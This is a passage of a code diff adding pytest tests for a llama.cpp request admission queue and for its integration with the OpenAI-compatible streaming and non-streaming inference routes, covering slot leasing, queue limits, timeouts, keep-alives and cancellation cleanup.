+        assert queue.snapshot().queued == 2
+
+        first_lease.release()
+        second_lease = await second.wait(0.1)
+        assert second_lease is not None
+        assert third.lease_nowait() is None
+
+        second_lease.release()
+        third_lease = await third.wait(0.1)
+        assert third_lease is not None
+        third_lease.release()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_queue_full_rejects_excess_waiter():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig(max_queue = 1)
+
+        first = queue.reserve(capacity = 1, config = config)
+        queued = queue.reserve(capacity = 1, config = config)
+
+        assert first.lease_nowait() is not None
+        assert queued.lease_nowait() is None
+        with pytest.raises(LlamaAdmissionQueueFull):
+            queue.reserve(capacity = 1, config = config)
+
+    asyncio.run(_run())
+
+
+def test_disabled_admission_bypasses_active_slot_limit():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig(enabled = False)
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+
+        assert first.lease_nowait() is not None
+        assert second.lease_nowait() is not None
+        assert queue.snapshot().active == 0
+        assert queue.snapshot().queued == 0
+
+    asyncio.run(_run())
+
+
+def test_cancelling_promoted_waiter_releases_slot():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+
+        first_lease.release()
+        await asyncio.sleep(0)
+        second.cancel()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_cancelling_promoted_waiter_before_delivery_releases_slot():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+
+        first_lease.release()
+        second.cancel()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_external_waiter_future_cancel_invalidates_reservation():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second._waiter is not None
+
+        second._waiter.future.cancel()
+
+        assert second.lease_nowait() is None
+        assert second.is_cancelled is True
+        assert await second.wait(0.01) is None
+
+        first_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_wait_returns_none_when_waiter_future_cancelled_during_wait():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second._waiter is not None
+
+        wait_task = asyncio.create_task(second.wait(1.0))
+        await asyncio.sleep(0)
+        second._waiter.future.cancel()
+
+        assert await asyncio.wait_for(wait_task, timeout = 0.1) is None
+        assert second.is_cancelled is True
+
+        first_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_capacity_increase_promotes_existing_waiter_fifo():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second.lease_nowait() is None
+        assert queue.snapshot().active == 1
+        assert queue.snapshot().queued == 1
+
+        third = queue.reserve(capacity = 2, config = config)
+
+        second_lease = await second.wait(0.1)
+        assert second_lease is not None
+        assert third.lease_nowait() is None
+
+        snapshot = queue.snapshot()
+        assert snapshot.capacity == 2
+        assert snapshot.active == 2
+        assert snapshot.queued == 1
+
+        first_lease.release()
+        third_lease = await third.wait(0.1)
+        assert third_lease is not None
+
+        second_lease.release()
+        third_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_lease_release_is_idempotent_under_concurrent_calls():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        reservation = queue.reserve(capacity = 1, config = config)
+        lease = reservation.lease_nowait()
+        assert lease is not None
+
+        threads = [threading.Thread(target = lease.release) for _ in range(16)]
+        for thread in threads:
+            thread.start()
+        for thread in threads:
+            thread.join()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_new_key_evicts_idle_prior_load_queues():
+    # Each model load carries a fresh ephemeral port, so a new base_url key must
+    # not leave the drained queues from earlier loads accumulating forever.
+    get_llama_admission_queue("http://127.0.0.1:1001")
+    get_llama_admission_queue("http://127.0.0.1:1002")
+    assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1002"}
+
+    get_llama_admission_queue("http://127.0.0.1:1003")
+    assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1003"}
+
+
+def test_new_key_retains_in_flight_prior_load_queue():
+    config = LlamaAdmissionConfig()
+    busy = get_llama_admission_queue("http://127.0.0.1:2001")
+
+    async def _run():
+        reservation = busy.reserve(capacity = 1, config = config)
+        lease = reservation.lease_nowait()
+        assert lease is not None
+
+        # A new load must not drop a queue that still has an in-flight request.
+        get_llama_admission_queue("http://127.0.0.1:2002")
+        assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2001", "http://127.0.0.1:2002"}
+
+        # Once it drains, the next load reclaims it.
+        lease.release()
+        get_llama_admission_queue("http://127.0.0.1:2003")
+        assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2003"}
+
+    asyncio.run(_run())
diff --git a/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py
new file mode 100644
index 0000000000..5525bc3ea9
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import os
+import sys
+
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference import llama_cpp as llama_cpp_module
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+@pytest.fixture
+def backend(monkeypatch):
+    monkeypatch.setattr(LlamaCppBackend, "_kill_orphaned_servers", lambda self: 0)
+    monkeypatch.setattr(llama_cpp_module.atexit, "register", lambda *_args, **_kwargs: None)
+    return LlamaCppBackend()
+
+
+def test_effective_parallel_slots_initial_value_is_one(backend):
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_commit_uses_final_positive_parallel(backend):
+    backend._commit_effective_parallel_slots(3)
+
+    assert backend.effective_parallel_slots == 3
+
+
+@pytest.mark.parametrize("value", [None, 0, -2, "not-an-int"])
+def test_effective_parallel_slots_commit_invalid_value_falls_back_to_one(backend, value):
+    backend._commit_effective_parallel_slots(value)
+
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_reset_returns_to_one(backend):
+    backend._commit_effective_parallel_slots(4)
+
+    backend._reset_effective_parallel_slots()
+
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_unload_resets_to_one(backend):
+    backend._commit_effective_parallel_slots(4)
+
+    backend.unload_model()
+
+    assert backend.effective_parallel_slots == 1
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index 10cbd2aa01..910818d7d8 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
+++ b/studio/backend/tests/test_openai_tool_passthrough.py
@@ -30,6 +30,15 @@ from core.inference.anthropic_compat import (
     anthropic_tool_choice_to_openai,
 )
 from core.inference.api_monitor import ApiMonitor
+from core.inference.llama_admission import (
+    ADMISSION_KEEPALIVE_INTERVAL_ENV,
+    ADMISSION_MAX_QUEUE_ENV,
+    ADMISSION_QUEUE_TIMEOUT_ENV,
+    LlamaAdmissionCancelled,
+    LlamaAdmissionConfig,
+    get_llama_admission_queue,
+    reset_llama_admission_queues,
+)
 from routes.inference import (
     _aclose_stream_resources,
     _build_chat_request,
@@ -50,13 +59,17 @@ from routes.inference import (
     _monitor_openai_sse_event,
     _normalize_openai_passthrough_sse_line,
     _openai_compat_stream_stall_timeout,
+    _openai_llama_admission_capacity,
     _openai_messages_for_gguf_chat,
     _openai_passthrough_sse_line_terminal_state,
     _openai_passthrough_upstream_headers,
     _openai_passthrough_non_streaming,
     _openai_passthrough_stream,
+    _responses_stream,
     _openai_stream_error_sse,
     _openai_stream_usage_chunk,
+    _openai_admission_wait_stream_chunks,
+    _wait_for_openai_admission_non_streaming,
     _proxy_to_external_provider,
     _SameTaskStreamingResponse,
     _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
@@ -68,6 +81,13 @@ from routes.inference import (
 from state.tool_policy import reset_tool_policy, set_tool_policy
 
 
+@pytest.fixture(autouse = True)
+def _reset_admission_queues():
+    reset_llama_admission_queues()
+    yield
+    reset_llama_admission_queues()
+
+
 def test_aclose_stream_resources_attempts_remaining_closes_after_cancel():
     class Closeable:
         def __init__(self, *, cancel = False):
@@ -1338,6 +1358,80 @@ class TestOpenAICompatibilityHelpers:
         assert headers["Authorization"] == "Bearer secret"
         assert headers["Connection"] == "close"
 
+    def test_openai_admission_capacity_prefers_backend_effective_slots(self):
+        request = SimpleNamespace(
+            app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+        )
+        backend = SimpleNamespace(effective_parallel_slots = 3)
+
+        assert _openai_llama_admission_capacity(request, backend) == 3
+
+    @pytest.mark.parametrize("backend_value", [None, 0, -1, "not-an-int"])
+    def test_openai_admission_capacity_falls_back_to_app_state(self, backend_value):
+        request = SimpleNamespace(
+            app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 2))
+        )
+        backend = SimpleNamespace(effective_parallel_slots = backend_value)
+
+        assert _openai_llama_admission_capacity(request, backend) == 2
+
+    def test_openai_admission_capacity_falls_back_to_one_without_request(self):
+        assert _openai_llama_admission_capacity(None, SimpleNamespace()) == 1
+
+    def test_openai_admission_non_streaming_exits_invalidated_waiter(self):
+        async def _run():
+            queue = get_llama_admission_queue("http://llama.invalidated.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig())
+            assert reservation._waiter is not None
+
+            reservation._waiter.future.cancel()
+
+            with pytest.raises(LlamaAdmissionCancelled):
+                await asyncio.wait_for(
+                    _wait_for_openai_admission_non_streaming(
+                        reservation,
+                        LlamaAdmissionConfig(),
+                        request = None,
+                        cancel_event = None,
+                    ),
+                    timeout = 0.1,
+                )
+
+            blocker.release()
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_openai_admission_stream_exits_invalidated_waiter(self):
+        async def _run():
+            queue = get_llama_admission_queue("http://llama.invalidated.stream.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig())
+            assert reservation._waiter is not None
+
+            reservation._waiter.future.cancel()
+
+            chunks = _openai_admission_wait_stream_chunks(
+                reservation,
+                LlamaAdmissionConfig(),
+                request = None,
+                cancel_event = None,
+            )
+            with pytest.raises(LlamaAdmissionCancelled):
+                await asyncio.wait_for(chunks.__anext__(), timeout = 0.1)
+
+            blocker.release()
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
     def test_openai_compat_stream_stall_timeout_uses_default(self, monkeypatch):
         monkeypatch.delenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raising = False)
         assert _openai_compat_stream_stall_timeout() == 120.0
@@ -1993,6 +2087,335 @@ class TestGgufVisionToolRouting:
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_standard_gguf_stream_queued_request_sends_keepalive_before_generation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_stream_close_after_first_chunk_cleans_tracker(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            cancel_id = "standard-stream-close-cleanup"
+
+            def _generate(**_kwargs):
+                yield "visible"
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+            await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            aclose = getattr(iterator, "aclose", None)
+            assert aclose is not None
+            await aclose()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_stream_task_cancel_after_first_chunk_finalizes_monitor(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _generate(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            pending = asyncio.create_task(iterator.__anext__())
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(pending, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_stream_queued_request_sends_keepalive_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            def _generate(**_kwargs):
+                raise AssertionError("GGUF tool loop must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            queue = get_llama_admission_queue("http://llama.tool.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_stream_task_cancel_after_first_chunk_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _tools(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _tools,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            pending = asyncio.create_task(iterator.__anext__())
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(pending, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
     def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -2434,6 +2857,313 @@ class TestGgufVisionToolRouting:
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_standard_gguf_non_streaming_admission_timeout_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await openai_chat_completions(
+                        payload,
+                        request = Request(),
+                        current_subject = "test",
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_non_streaming_cancel_id_stops_queued_request_before_generation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start after cancel_id")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            cancel_id = "standard-nonstream-admission-cancel"
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                cancel_id = cancel_id,
+            )
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = Request(),
+                    current_subject = "test",
+                )
+            )
+            try:
+                for _ in range(50):
+                    if cancel_id in inf_mod._CANCEL_REGISTRY:
+                        break
+                    await asyncio.sleep(0.01)
+                assert cancel_id in inf_mod._CANCEL_REGISTRY
+                assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1
+                with pytest.raises(HTTPException) as exc:
+                    await asyncio.wait_for(task, timeout = 0.5)
+                assert exc.value.status_code == 499
+            finally:
+                if not task.done():
+                    task.cancel()
+                    with pytest.raises(asyncio.CancelledError):
+                        await task
+                blocker.release()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_non_streaming_admission_task_cancel_cleans_tracker_and_slot(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            cancel_id = "standard-nonstream-task-cancel"
+
+            async def fake_wait(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start after task cancel")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(
+                inf_mod,
+                "_wait_for_openai_admission_non_streaming",
+                fake_wait,
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                cancel_id = cancel_id,
+            )
+            with pytest.raises(asyncio.CancelledError):
+                await openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_non_streaming_admission_timeout_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            def _generate(**_kwargs):
+                raise AssertionError("GGUF tool loop must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            queue = get_llama_admission_queue("http://llama.tool.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+            )
+            try:
+                with pytest.raises(HTTPException) as exc:
+                    await openai_chat_completions(
+                        payload,
+                        request = Request(),
+                        current_subject = "test",
+                    )
+                assert exc.value.status_code == 503
+            finally:
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_non_streaming_cancel_drains_worker_before_releasing_slot(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _tools(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
